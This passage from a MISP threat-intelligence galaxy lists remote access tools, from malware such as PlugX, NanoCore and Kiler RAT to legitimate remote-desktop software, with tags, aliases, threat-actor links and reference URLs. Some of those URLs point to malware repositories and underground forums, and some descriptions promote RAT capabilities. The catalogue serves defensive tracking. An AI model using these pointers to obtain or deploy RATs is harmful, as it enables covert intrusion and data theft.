Table 8023. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://adzok.com/">http://adzok.com/</a></td>
</tr>
</tbody>
</table>

Schwarze-Sonne-RAT

The tag is: misp-galaxy:rat="Schwarze-Sonne-RAT"

Schwarze-Sonne-RAT is also known as:

- SS-RAT
- Schwarze Sonne

Table 8024. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/mwsrc/Schwarze-Sonne-RAT">https://github.com/mwsrc/Schwarze-Sonne-RAT</a></td>
</tr>
</tbody>
</table>
Cyber Eye RAT

The tag is: misp-galaxy:rat="Cyber Eye RAT"

Table 8025. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.indetectables.net/viewtopic.php?t=24245">https://www.indetectables.net/viewtopic.php?t=24245</a></td>
</tr>
</tbody>
</table>

Batch NET

The tag is: misp-galaxy:rat="Batch NET"

RWX RAT

The tag is: misp-galaxy:rat="RWX RAT"

Table 8026. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://leakforums.net/thread-530663">https://leakforums.net/thread-530663</a></td>
</tr>
</tbody>
</table>

Spynet

Spy-Net is a software that allow you to control any computer in world using Windows Operating System. He is back using new functions and good options to give you full control of your remote computer. Stable and fast, this software offer to you a good interface, creating a easy way to use all his functions.

The tag is: misp-galaxy:rat="Spynet"

Table 8027. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://spynet-rat-officiel.blogspot.lu/">http://spynet-rat-officiel.blogspot.lu/</a></td>
</tr>
</tbody>
</table>

CTOS

The tag is: misp-galaxy:rat="CTOS"

Table 8028. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://leakforums.net/thread-559871">https://leakforums.net/thread-559871</a></td>
</tr>
</tbody>
</table>

5385
Virus RAT

The tag is: misp-galaxy:rat="Virus RAT"

Table 8029. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/mwsrc/Virus-RAT-v8.0-Beta">https://github.com/mwsrc/Virus-RAT-v8.0-Beta</a></td>
</tr>
</tbody>
</table>

Atelier Web Remote Commander

The tag is: misp-galaxy:rat="Atelier Web Remote Commander"

Table 8030. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.atelierweb.com/products/">http://www.atelierweb.com/products/</a></td>
</tr>
</tbody>
</table>

drat

A distributed, parallelized (Map Reduce) wrapper around Apache™ RAT to allow it to complete on large code repositories of multiple file types where Apache™ RAT hangs forever.

The tag is: misp-galaxy:rat="drat"

Table 8031. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/chrismattmann/drat">https://github.com/chrismattmann/drat</a></td>
</tr>
</tbody>
</table>

MoSucker

MoSucker is a powerful backdoor - hacker's remote access tool.

The tag is: misp-galaxy:rat="MoSucker"

Table 8032. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.f-secure.com/v-descs/mosuck.shtml">https://www.f-secure.com/v-descs/mosuck.shtml</a></td>
</tr>
</tbody>
</table>

Theef

The tag is: misp-galaxy:rat="Theef"

Table 8033. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
ProRat

ProRat is a Microsoft Windows based backdoor trojan, more commonly known as a Remote Administration Tool. As with other trojan horses it uses a client and server. ProRat opens a port on the computer which allows the client to perform numerous operations on the server (the machine being controlled).

The tag is: `misp-galaxy:rat="ProRat"`

Setro

The tag is: `misp-galaxy:rat="Setro"

Indetectables RAT

The tag is: `misp-galaxy:rat="Indetectables RAT"

Luminosity Link

The tag is: `misp-galaxy:rat="Luminosity Link"`
Orcus

The tag is: misp-galaxy:rat="Orcus"

Table 8038. Table References

Links

https://orcustechnologies.com/

Blizzard

The tag is: misp-galaxy:rat="Blizzard"

Table 8039. Table References

Links

http://www.connect-trojan.net/2014/10/blizzard-rat-lite-v1.3.1.html

Kazybot

The tag is: misp-galaxy:rat="Kazybot"

Table 8040. Table References

Links

https://www.rekings.com/kazybot-lite-php-rat/
http://telussecuritylabs.com/threats/show/TSL20150122-06

BX

The tag is: misp-galaxy:rat="BX"

Table 8041. Table References

Links

http://www.connect-trojan.net/2015/01/bx-rat-v1.0.html

dead

The tag is: misp-galaxy:rat="death"

Sky Wyder

The tag is: misp-galaxy:rat="Sky Wyder"

Table 8042. Table References
DarkTrack

The tag is: `misp-galaxy:rat="DarkTrack"`

Table 8043. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://rubear.me/threads/sky-wyder-2016-cracked.127/">https://rubear.me/threads/sky-wyder-2016-cracked.127/</a></td>
</tr>
<tr>
<td><a href="https://www.rekings.com/darktrack-4-alien/">https://www.rekings.com/darktrack-4-alien/</a></td>
</tr>
</tbody>
</table>

xRAT

Free, Open-Source Remote Administration Tool. xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0).

The tag is: `misp-galaxy:rat="xRAT"`

View relationships graph

xRAT has relationships with:

- used-by: `misp-galaxy:threat-actor="Kimsuky"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:tool="xrat"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:ransomware="XRat"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="XRat"` with `estimative-language:likelihood-probability="likely"`

Table 8044. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/c4bbage/xRAT">https://github.com/c4bbage/xRAT</a></td>
</tr>
</tbody>
</table>

Biodox

The tag is: `misp-galaxy:rat="Biodox"`

Table 8045. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Offence

Offense RAT is a free remote administration tool made in Delphi 9.

The tag is: misp-galaxy:rat="Offence"

Table 8046. Table References

Links

https://leakforums.net/thread-31386?tid=31386&&pq=1

Apocalypse

The tag is: misp-galaxy:rat="Apocalypse"

View relationships graph

Apocalypse has relationships with:

• similar: misp-galaxy:ransomware="Apocalypse" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"

Table 8047. Table References

Links

https://leakforums.net/thread-36962

JCage

The tag is: misp-galaxy:rat="JCage"

Table 8048. Table References

Links

https://leakforums.net/thread-363920

Nuclear RAT

Nuclear RAT (short for Nuclear Remote Administration Tool) is a backdoor trojan horse that infects Windows NT family systems (Windows 2000, XP, 2003).

The tag is: misp-galaxy:rat="Nuclear RAT"

Table 8049. Table References

Links
Ozone

C++ REMOTE CONTROL PROGRAM

The tag is: misp-galaxy:rat="Ozone"

Xanity

The tag is: misp-galaxy:rat="Xanity"

DarkMoon

The tag is: misp-galaxy:rat="DarkMoon"

DarkMoon is also known as:

- Dark Moon

Xpert

The tag is: misp-galaxy:rat="Xpert"

Kiler RAT

This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening
a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physical devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well-known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods. However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.

The tag is: misp-galaxy:rat="Kiler RAT"

Kiler RAT is also known as:

- Njw0rm

View relationships graph

Kiler RAT has relationships with:

- similar: misp-galaxy:rat="NJRat" with estimative-language:likelihood-probability="likely"

Table 8053. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.alienvault.com/blogs/labs-research/kilerrat-taking-over-where-njrat-remote-access-trojan-left-off">https://www.alienvault.com/blogs/labs-research/kilerrat-taking-over-where-njrat-remote-access-trojan-left-off</a></td>
</tr>
</tbody>
</table>

Brat

The tag is: misp-galaxy:rat="Brat"

MINI-MO

The tag is: misp-galaxy:rat="MINI-MO"

Lost Door

Unlike most attack tools that one can only find in cybercriminal underground markets, Lost Door is very easy to obtain. It's promoted on social media sites like YouTube and Facebook. Its maker, "OussamiO," even has his own Facebook page where details on his creation can be found. He also has a dedicated blog (hxsp://lost-door[.]blogspot[.]com/) where tutorial videos and instructions on using the RAT is found. Any cybercriminal or threat actor can purchase and use the RAT to launch attacks.

The tag is: misp-galaxy:rat="Lost Door"

Lost Door is also known as:
• LostDoor

Table 8054. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://lost-door.blogspot.lu/">http://lost-door.blogspot.lu/</a></td>
</tr>
</tbody>
</table>

Loki RAT

Loki RAT is a php RAT that means no port forwarding is needed for this RAT, If you dont know how to setup this RAT click on tutorial.

The tag is: `misp-galaxy:rat="Loki RAT"`

Table 8055. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.rekings.com/loki-rat-php-rat/">https://www.rekings.com/loki-rat-php-rat/</a></td>
</tr>
</tbody>
</table>

MLRat

The tag is: `misp-galaxy:rat="MLRat"`

Table 8056. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/BahNahNah/MLRat">https://github.com/BahNahNah/MLRat</a></td>
</tr>
</tbody>
</table>

SpyCronic

The tag is: `misp-galaxy:rat="SpyCronic"`

Table 8057. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://perfect-conexao.blogspot.lu/2014/09/spycronic-1021.html">http://perfect-conexao.blogspot.lu/2014/09/spycronic-1021.html</a></td>
</tr>
<tr>
<td><a href="http://www.connect-trojan.net/2013/09/spycronic-v1.02.1.html">http://www.connect-trojan.net/2013/09/spycronic-v1.02.1.html</a></td>
</tr>
<tr>
<td><a href="https://ranger-exploit.com/spycronic-v1-02-1/">https://ranger-exploit.com/spycronic-v1-02-1/</a></td>
</tr>
</tbody>
</table>

Pupy

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
The tag is: *misp-galaxy:rat="Pupy"*

**View relationships graph**

Pupy has relationships with:

- similar: *misp-galaxy:mitre-tool="Pupy - S0192"* with *estimative-language:likelihood-probability="likely"*

**Table 8058. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/n1nj4sec/pupy">https://github.com/n1nj4sec/pupy</a></td>
</tr>
</tbody>
</table>

**Nova**

Nova is a proof of concept demonstrating screen sharing over UDP hole punching.

The tag is: *misp-galaxy:rat="Nova"*

**Table 8059. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://novarat.sourceforge.net/">http://novarat.sourceforge.net/</a></td>
</tr>
</tbody>
</table>

**BD Y3K RAT**

The tag is: *misp-galaxy:rat="BD Y3K RAT"*

BD Y3K RAT is also known as:

- Back Door Y3K RAT
- Y3k

**Table 8060. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&amp;signatureSubId=2">https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&amp;signatureSubId=2</a></td>
</tr>
<tr>
<td><a href="https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&amp;signatureSubId=0&amp;softwareVersion=6.0&amp;releaseVersion=S177">https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&amp;signatureSubId=0&amp;softwareVersion=6.0&amp;releaseVersion=S177</a></td>
</tr>
</tbody>
</table>

**Turkojan**

Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.

The tag is: *misp-galaxy:rat="Turkojan"*
TINY

TINY is a set of programs that lets you control a DOS computer from any Java-capable machine over a TCP/IP connection. It is comparable to programs like VNC, CarbonCopy, and GotoMyPC except that the host machine is a DOS computer rather than a Windows one.

The tag is: \texttt{misp-galaxy:rat="TINY"}

SharK

SharK is an advanced reverse connecting, firewall bypassing remote administration tool written in VB6. With SharK you will be able to administrate every PC (using Windows OS) remotely.

The tag is: \texttt{misp-galaxy:rat="SharK"}

SharK is also known as:

- SHARK
- Shark

View relationships graph

SharK has relationships with:

- similar: misp-galaxy:ransomware="Shark" with estimative-language:likelihood-probability="likely"

Snowdoor

Backdoor.Snowdoor is a Backdoor Trojan Horse that allows unauthorized access to an infected computer. It creates an open C drive share with its default settings. By default, the Trojan listens on port 5,328.
Snowdoor is also known as:

- Backdoor.Blizzard
- Backdoor.Fxdoor
- Backdoor.Snowdoor
- Backdoor:Win32/Snowdoor

Paradox

SpyNote

Android RAT

SpyNote has relationships with:

- similar: misp-galaxy:malpedia="SpyNote" with estimative-language:likelihood-probability="likely"

ZOMBIE SLAYER

The tag is: misp-galaxy:rat="ZOMBIE SLAYER"
HTTP WEB BACKDOOR

The tag is: misp-galaxy:rat="HTTP WEB BACKDOOR"

NET-MONITOR PRO

Net Monitor for Employees lets you see what everyone's doing - without leaving your desk. Monitor the activity of all employees. Plus you can share your screen with your employees PCs, making demos and presentations much easier.

The tag is: misp-galaxy:rat="NET-MONITOR PRO"

Table 8067. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://networklookout.com/help/">https://networklookout.com/help/</a></td>
</tr>
</tbody>
</table>

DameWare Mini Remote Control

Affordable remote control software for all your customer support and help desk needs.

The tag is: misp-galaxy:rat="DameWare Mini Remote Control"

DameWare Mini Remote Control is also known as:

• dameware

Table 8068. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.dameware.com/dameware-mini-remote-control">http://www.dameware.com/dameware-mini-remote-control</a></td>
</tr>
</tbody>
</table>

Remote Utilities

Remote Utilities is a free remote access program with some really great features. It works by pairing two remote computers together with what they call an "Internet ID." You can control a total of 10 PCs with Remote Utilities.

The tag is: misp-galaxy:rat="Remote Utilities"

Table 8069. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.remoteutilities.com/">https://www.remoteutilities.com/</a></td>
</tr>
</tbody>
</table>

Ammyy Admin

Ammyy Admin is a completely portable remote access program that's extremely simple to setup. It
works by connecting one computer to another via an ID supplied by the program.

The tag is: *misp-galaxy:rat="Ammyy Admin"

Ammyy Admin is also known as:

- Ammyy

Table 8070. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://ammyy-admin.soft32.com/">http://ammyy-admin.soft32.com/</a></td>
</tr>
</tbody>
</table>

**Ultra VNC**

UltraVNC works a bit like Remote Utilities, where a server and viewer is installed on two PCs, and the viewer is used to control the server.

The tag is: *misp-galaxy:rat="Ultra VNC"

Table 8071. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.uvnc.com/">http://www.uvnc.com/</a></td>
</tr>
</tbody>
</table>

**AeroAdmin**

AeroAdmin is probably the easiest program to use for free remote access. There are hardly any settings, and everything is quick and to the point, which is perfect for spontaneous support.

The tag is: *misp-galaxy:rat="AeroAdmin"

Table 8072. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.aeroadmin.com/en/">http://www.aeroadmin.com/en/</a></td>
</tr>
</tbody>
</table>

**Windows Remote Desktop**

Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program.

The tag is: *misp-galaxy:rat="Windows Remote Desktop"

**RemotePC**

RemotePC, for good or bad, is a more simple free remote desktop program. You’re only allowed one connection (unless you upgrade) but for many of you, that’ll be just fine.
Seecreen

Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that's absolutely perfect for on-demand, instant support.

Seecreen is also known as:

- Firnass

Chrome Remote Desktop

Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser.

Chrome Remote Desktop has relationships with:

- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

AnyDesk

AnyDesk is a remote desktop program that you can run portably or install like a regular program.
LiteManager

LiteManager is another remote access program, and it’s strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features.

The tag is: `misp-galaxy:rat="LiteManager"`

Comodo Unite

Comodo Unite is another free remote access program that creates a secure VPN between multiple computers. Once a VPN is established, you can remotely have access to applications and files through the client software.

The tag is: `misp-galaxy:rat="Comodo Unite"`

ShowMyPC

ShowMyPC is a portable and free remote access program that's nearly identical to UltraVNC but uses a password to make a connection instead of an IP address.

The tag is: `misp-galaxy:rat="ShowMyPC"`

join.me

join.me is a remote access program from the producers of LogMeIn that provides quick access to another computer over an internet browser.
DesktopNow

DesktopNow is a free remote access program from NCH Software. After optionally forwarding the proper port number in your router, and signing up for a free account, you can access your PC from anywhere through a web browser.

BeamYourScreen

Another free and portable remote access program is BeamYourScreen. This program works like some of the others in this list, where the presenter is given an ID number they must share with another user so they can connect to the presenter's screen.

Casa RAT

The tag is: *misp-galaxy:rat="Casa RAT"

Bandook RAT

Bandook is a FWB#++ reverse connection rat (Remote Administration Tool), with a small size server when packed 30 KB, and a long list of amazing features

The tag is: *misp-galaxy:rat="Bandook RAT"
Cerberus RAT

The tag is: misp-galaxy:rat="Cerberus RAT"

Table 8084. Table References

Links

http://www.hacktohell.org/2011/05.setting-up-cerberus-ratremote.html

Syndrome RAT

The tag is: misp-galaxy:rat="Syndrome RAT"

Snoopy

Snoopy is a Remote Administration Tool. Software for controlling user computer remotely from other computer on local network or Internet.

The tag is: misp-galaxy:rat="Snoopy"

Table 8085. Table References

Links


5p00f3r.N$ RAT

The tag is: misp-galaxy:rat="5p00f3r.N$ RAT"

P. Storrie RAT

The tag is: misp-galaxy:rat="P. Storrie RAT"

1. Storrie RAT is also known as:
   ◦ P.Storrie RAT

xHacker Pro RAT

The tag is: misp-galaxy:rat="xHacker Pro RAT"
NetDevil

Backdoor.NetDevil allows a hacker to remotely control an infected computer.

The tag is: misp-galaxy:rat="NetDevil"

View relationships graph

NetDevil has relationships with:

- similar: misp-galaxy:rat="Net Devil" with estimative-language:likelihood-probability="likely"

Table 8086. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

NanoCore

In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports. DigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.

The tag is: misp-galaxy:rat="NanoCore"

View relationships graph

NanoCore has relationships with:

- similar: misp-galaxy:tool="NanoCoreRAT" with estimative-language:likelihood-probability="likely"

Table 8087. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.digitrustgroup.com/nanocore-not-your-average-rat/">https://www.digitrustgroup.com/nanocore-not-your-average-rat/</a></td>
</tr>
</tbody>
</table>

Cobian RAT

The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised
on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family

The tag is: misp-galaxy:rat="Cobian RAT"

View relationships graph

Cobian RAT has relationships with:

- similar: misp-galaxy:malpedia="Cobian RAT" with estimative-language:likelihood-probability="likely"

Table 8088. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Netsupport Manager**

NetSupport Manager continues to deliver the very latest in remote access, PC support and desktop management capabilities. From a desktop, laptop, tablet or smartphone, monitor multiple systems in a single action, deliver hands-on remote support, collaborate and even record or play back sessions. When needed, gather real-time hardware and software inventory, monitor services and even view system config remotely to help resolve issues quickly.

The tag is: misp-galaxy:rat="Netsupport Manager"

Table 8089. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.netsupportmanager.com/index.asp">http://www.netsupportmanager.com/index.asp</a></td>
</tr>
</tbody>
</table>

**Vortex**

The tag is: misp-galaxy:rat="Vortex"

**Assassin**

The tag is: misp-galaxy:rat="Assassin"

**Net Devil**

The tag is: misp-galaxy:rat="Net Devil"

Net Devil is also known as:

- NetDevil
View relationships graph

Net Devil has relationships with:

- similar: `misp-galaxy:rat="NetDevil"` with `estimative-language:likelihood-probability="likely"`

**A4Zeta**

The tag is: `misp-galaxy:rat="A4Zeta"`

**Greek Hackers RAT**

The tag is: `misp-galaxy:rat="Greek Hackers RAT"`

**MRA RAT**

The tag is: `misp-galaxy:rat="MRA RAT"`

**Sparta RAT**

The tag is: `misp-galaxy:rat="Sparta RAT"`
LokiTech
The tag is: misp-galaxy:rat="LokiTech"

MadRAT
The tag is: misp-galaxy:rat="MadRAT"

Tequila Bandita
The tag is: misp-galaxy:rat="Tequila Bandita"

Table 8095. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.connect-trojan.net/2013/07/tequila-bandita-1.3b2.html">http://www.connect-trojan.net/2013/07/tequila-bandita-1.3b2.html</a></td>
</tr>
</tbody>
</table>

Toquito Bandito
The tag is: misp-galaxy:rat="Toquito Bandito"

Table 8096. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.megasecurity.org/trojans/t/toquitobandito/toquitobandito_all.html">http://www.megasecurity.org/trojans/t/toquitobandito/toquitobandito_all.html</a></td>
</tr>
</tbody>
</table>

MofoTro
MofoTro is a new rat coded by Cool_mofo_2.
The tag is: misp-galaxy:rat="MofoTro"

Table 8097. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta.html">http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta.html</a></td>
</tr>
<tr>
<td><a href="http://www.megasecurity.org/trojans/m/mofotro/Mofotro_resurrection.html">http://www.megasecurity.org/trojans/m/mofotro/Mofotro_resurrection.html</a></td>
</tr>
<tr>
<td><a href="http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta1.5.html">http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta1.5.html</a></td>
</tr>
</tbody>
</table>

Hav-RAT
Written in Delphi
The tag is: misp-galaxy:rat="Hav-RAT"

Table 8098. Table References
ComRAT

ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.

The tag is: misp-galaxy:rat="ComRAT"

View relationships graph

ComRAT has relationships with:

• similar: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 8099. Table References

4H RAT

4H RAT is malware that has been used by Putter Panda since at least 2007.

The tag is: misp-galaxy:rat="4H RAT"

View relationships graph

4H RAT has relationships with:

• similar: misp-galaxy:mitre-malware="4H RAT - S0065" with estimative-language:likelihood-probability="likely"

Table 8100. Table References

Darknet RAT

The tag is: misp-galaxy:rat="Darknet RAT"

Darknet RAT is also known as:
Dark NET RAT

Table 8101. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.connect-trojan.net/2015/06/dark-net-rat-v.0.3.9.0.html">http://www.connect-trojan.net/2015/06/dark-net-rat-v.0.3.9.0.html</a></td>
</tr>
</tbody>
</table>

CIA RAT
The tag is: misp-galaxy:rat="CIA RAT"

Minimo
The tag is: misp-galaxy:rat="Minimo"

miniRAT
The tag is: misp-galaxy:rat="miniRAT"

Pain RAT
The tag is: misp-galaxy:rat="Pain RAT"

PlugX

PLUGX is a remote access tool (RAT) used in targeted attacks aimed toward government-related institutions and key industries. It was utilized the same way as Poison Ivy, a RAT involved in a campaign dating back to 2008.

The tag is: misp-galaxy:rat="PlugX"

PlugX is also known as:

- Korplug
- SOGU
- Scontroller

View relationships graph

PlugX has relationships with:

- similar: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"

Table 8102. Table References
UNITEDRAKE

The existence of the UNITEDRAKE RAT first came to light in 2014 as part of a series of classified documents leaked by former NSA contractor Edward Snowden.

The tag is: misp-galaxy:rat="UNITEDRAKE"

Table 8103. Table References

Links


MegaTrojan

Written in Visual Basic

The tag is: misp-galaxy:rat="MegaTrojan"

Table 8104. Table References

Links

- http://www.megasecurity.org/trojans/m/mega/Megatrojan1.0.html

Venomous Ivy

The tag is: misp-galaxy:rat="Venomous Ivy"

Xploit

The tag is: misp-galaxy:rat="Xploit"

Arctic R.A.T.

The tag is: misp-galaxy:rat="Arctic R.A.T."

Arctic R.A.T. is also known as:

- Artic
Table 8105. Table References

Links

http://anti-virus-soft.com/threats/artic

GOlden Phoenix

The tag is: misp-galaxy:rat="GOlden Phoenix"

Table 8106. Table References

Links

http://www.connect-trojan.net/2014/02/golden-phoenix-rat-0.2.html

GraphicBooting

The tag is: misp-galaxy:rat="GraphicBooting"

Table 8107. Table References

Links

http://www.connect-trojan.net/2014/10/graphicbooting-rat-v0.1-beta.html?m=0

Pocket RAT

The tag is: misp-galaxy:rat="Pocket RAT"

Erebus

The tag is: misp-galaxy:rat="Erebus"

View relationships graph

Erebus has relationships with:

• similar: misp-galaxy:malpedia="Erebus (ELF)" with estimative-language:likelihood-probability="likely"

SharpEye

The tag is: misp-galaxy:rat="SharpEye"

Table 8108. Table References

Links

http://www.connect-trojan.net/2014/10/sharpeye-rat-1.0-beta-1.html

http://www.connect-trojan.net/2014/02/sharpeye-rat-1.0-beta-2.html
Vortex

The tag is: misp-galaxy:rat="Vortex"

Archelaus Beta

The tag is: misp-galaxy:rat="Archelaus Beta"

Table 8109. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.connect-trojan.net/2014/02/archelaus-rat-beta.html">http://www.connect-trojan.net/2014/02/archelaus-rat-beta.html</a></td>
<td></td>
</tr>
</tbody>
</table>

BlackHole

C# RAT (Remote Administration Tool) - Educational purposes only

The tag is: misp-galaxy:rat="BlackHole"

View relationships graph

BlackHole has relationships with:

• similar: misp-galaxy:exploit-kit="BlackHole" with estimative-language:likelihood-probability="likely"

Table 8110. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hussein-aitlahcen/BlackHole">https://github.com/hussein-aitlahcen/BlackHole</a></td>
<td></td>
</tr>
</tbody>
</table>

Vanguard

The tag is: misp-galaxy:rat="Vanguard"

Table 8111. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://ktwox7.blogspot.lu/2010/12/vanguard-remote-administration.html">http://ktwox7.blogspot.lu/2010/12/vanguard-remote-administration.html</a></td>
<td></td>
</tr>
</tbody>
</table>

Ahtapod

The tag is: misp-galaxy:rat="Ahtapod"

Table 8112. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
FINSPY

Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.

The tag is: misp-galaxy:rat="FINSPY"

View relationships graph

FINSPY has relationships with:

• similar: misp-galaxy:tool="FINSPY" with estimative-language:likelihood-probability="likely"

Table 8113. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Seed RAT

Seed is a firewall bypass plus trojan, injects into default browser and has a simple purpose: to be compact (4kb server size) and useful while uploading bigger and full trojans, or even making Seed download them somewhere. Has computer info, process manager, file manager, with download, create folder, delete, execute and upload. And a remote download function. Everything with a easy to use interface, reminds an instant messenger.

The tag is: misp-galaxy:rat="Seed RAT"

Table 8114. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nuclearwintercrew.com/Products-View/25/Seed_1.1/">http://www.nuclearwintercrew.com/Products-View/25/Seed_1.1/</a></td>
</tr>
</tbody>
</table>

SharpBot

The tag is: misp-galaxy:rat="SharpBot"

TorCT PHP RAT

The tag is: misp-galaxy:rat="TorCT PHP RAT"
A32s RAT

The tag is: misp-galaxy:rat="A32s RAT"

Char0n

